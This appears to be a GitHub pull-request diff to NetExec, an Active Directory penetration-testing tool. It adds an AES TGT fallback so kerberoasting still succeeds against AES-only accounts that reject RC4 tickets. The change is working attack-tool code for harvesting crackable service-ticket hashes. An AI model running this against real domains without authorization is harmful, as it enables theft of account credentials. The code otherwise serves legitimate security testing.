Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 43 additions & 9 deletions nxc/protocols/ldap.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@
)
from impacket.krb5 import constants
from impacket.krb5.crypto import generate_kerberos_keys
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError, KerberosError
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal, KerberosException
from impacket.ldap import ldap as ldap_impacket
Expand Down Expand Up @@ -973,6 +973,24 @@ def asreproast(self):
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")

def _kerberoast_aes_fallback(self, e, current_tgt):
"""Obtain (and cache) an AES TGT to retry kerberoasting when an AES-only account rejects the RC4 ticket."""
if not isinstance(e, KerberosError) or e.getErrorCode() != constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
return None

cached = getattr(self, "_kerberoast_aes_tgt", None)
if cached is not None:
# Already using the AES TGT and it still failed: nothing more to try for this account.
return None if current_tgt is cached else cached

if not self.password and not self.aesKey:
self.logger.fail("Target rejects RC4 (AES-only) and the current auth cannot request an AES TGT. Use password or --aesKey auth to kerberoast this account.")
return None

self.logger.info("Target rejects RC4 (AES-only); retrying kerberoasting with an AES TGT")
self._kerberoast_aes_tgt = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache, force_aes=True)
return self._kerberoast_aes_tgt

def kerberoasting(self):
if self.args.no_preauth_targets:
self.roast_no_preauth()
Expand Down Expand Up @@ -1051,14 +1069,30 @@ def kerberoasting(self):
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]

tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"],
)
try:
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"],
)
except Exception as e:
# RC4 service ticket rejected by an AES-only account (KDC_ERR_ETYPE_NOSUPP).
# Retry once with an AES TGT, mirroring the asreproast fallback behavior.
aes_tgt = self._kerberoast_aes_fallback(e, TGT)
if aes_tgt is None:
raise
TGT = aes_tgt
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"],
)
out = KerberosAttacks(self).output_tgs(
tgs,
oldSessionKey,
Expand Down
6 changes: 4 additions & 2 deletions nxc/protocols/ldap/kerberos.py
Original file line number Diff line number Diff line change
Expand Up @@ -123,7 +123,7 @@ def output_tgs_from_asrep(self, asrep_blob, spn, fd=None):
fd.write(entry + "\n")
return entry

def get_tgt_kerberoasting(self, kcache=None):
def get_tgt_kerberoasting(self, kcache=None, force_aes=False):
if kcache:
if getenv("KRB5CCNAME"):
self.logger.debug("KRB5CCNAME environment variable exists, attempting to use that...")
Expand Down Expand Up @@ -152,7 +152,9 @@ def get_tgt_kerberoasting(self, kcache=None):
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
# cleartext password.
# If no clear text password is provided, we just go with the defaults.
if self.password != "" and (self.lmhash == "" and self.nthash == ""):
# When force_aes is set (AES-only target rejected RC4), we skip the RC4 conversion so the KDC
# negotiates an AES TGT from the cleartext password / aesKey instead.
if self.password != "" and (self.lmhash == "" and self.nthash == "") and not force_aes:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
user_name,
Expand Down
Loading